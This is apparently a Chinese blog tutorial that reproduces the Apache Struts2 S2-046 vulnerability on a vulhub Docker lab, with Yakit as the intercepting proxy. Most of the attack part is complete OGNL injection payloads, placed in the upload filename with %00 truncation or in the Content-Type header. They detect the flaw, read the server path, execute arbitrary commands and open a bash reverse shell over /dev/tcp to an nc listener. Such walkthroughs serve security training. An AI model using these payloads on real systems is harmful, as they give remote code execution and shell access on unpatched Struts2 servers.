一、前期准备
1.docker容器
作为第一次接触struts2漏洞类型的小白,第一步从搭建环境开始。首先我们需要准备一个服务器或者本地系统,我这里是使用本地的kali,kali里面需要有docker容器,docker容器的安装教程请自行搜索,在这就不过多的赘述。
2.搭建s2-046漏洞靶场
vulhub靶场地址:https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
vulhub靶场安装包:https://github.com/vulhub/vulhub/archive/master.zip
将下载好的安装包放入kali中并解压,并进入s2漏洞的目录。
cd /vulhub-master/struts2
找到此次要复现的s2-046漏洞。
启动s2-046漏洞环境。
docker-compose up -d
查看是否启动成功。
docker ps
查看ip。
ifconfig
访问漏洞地址查看是否搭建成功。
显示上面的页面就代表漏洞搭建成功。
3.Yakit简单使用教程
根据自己的喜好选择启动方式,我这里直接使用如下图的方式进入。
第一步:启动劫持
第一次使用的时候需要配置证书
第二步:配置证书
下载证书。
第三步:将下载的证书导入浏览器中
第四步:启动系统代理并在浏览器的代理插件中进行设置,切记信息需要一致
如下图
通过以上的四步yakit的浏览器抓包设置成功,可以开始抓包操作了。
抓包成功,就可以和burp一样进行操作了,后面的就不再进行赘述了。
二、复现s2-046漏洞
1.方法一需要00截断
环境搭建好了,即可开始复现漏洞,这里我使用yakit进行抓包。
根据网上的复现教程,我们直接抓取submit按钮提交数据的包,如下:
成功抓取数据包后,将数据包发送到web fuzzer模块当中,相当于burp的repeater模块。
漏洞检测
在数据包中的filename处中插入下列POC代码。使用此poc需要进行00截断,在下面的poc末尾加上%00,然后url解码再放到filename处发包。
未解码的poc:
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo has vul need 00jieduan').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
解码后的poc:
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo 张三小卡拉米').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}%00
对%00进行url解码。
选择%00点击解码如下图。
然后点击替换。
成功解码。
注意1:
Yakit版本太老url解码会失败,请将版本更新到最新版本。
发包若出现“张三小卡拉米”则表示存在S2-046漏洞。
注意2:
%00截断后面得加一些字符,不然就会测试失败。
读取当前文件路径
这里的例子是使用的vulhub的s2-046靶场,读取出的当前文件的路径是 /usr/src/src/main/webapp,同样需要对%00进行url解码
poc:
Content-Disposition: form-data; name="upload"; filename="s.%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest')).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getWriter())).(#ros.print(#req.getRealPath('/'))).(#ros.flush()).(#ros.close())}%00b
读取成功。
任意命令执行
使用下面的poc执行了whoami,将(#cmd='whoami')中的whoami替换成其他win或者linux的命令即可,同样需要对%00进行url解码。
poc:
Content-Disposition: form-data; name="upload"; filename="Content-Type:${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
成功执行。
反弹shell
攻击机上开启监听
nc -lvp 9999
使用poc反弹shell,poc里面的内容需要根据你自己的IP进行修改。
poc:
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.175.129/9999 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
反弹成功。
2.方法二不用00截断
漏洞检测
抓取url:http://192.168.175.129:8080/的数据包,然后将get请求替换成post请求。
get请求替换成post请求,直接使用yakit一键替换非常方便。
检测漏洞的POC,这个漏洞的位置在content-type,执行完会输出“zhang san”,有”zhang san“则代表有s2-046漏洞。
Content-Type:${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo zhang san').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
读取当前文件路径
这里的例子是使用的vulhub的s2-046靶场,读取出的当前文件的路径是 /usr/src/src/main/webapp
poc:
Content-Type:${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest')).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getWriter())).(#ros.print(#req.getRealPath('/'))).(#ros.flush()).(#ros.close())}
读取成功。
任意命令执行
使用下面的poc执行了whoami,将(#cmd='whoami')中的whoami替换成其他win或者linux的命令即可
poc:
Content-Type:${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
成功执行。
反弹shell
攻击机上开启监听
nc -lvp 9999
使用poc反弹shell,poc里面的内容自行更改。
poc:
Content-Type:${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.175.129/9999 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
反弹成功。
到此s2-046漏洞复现完结。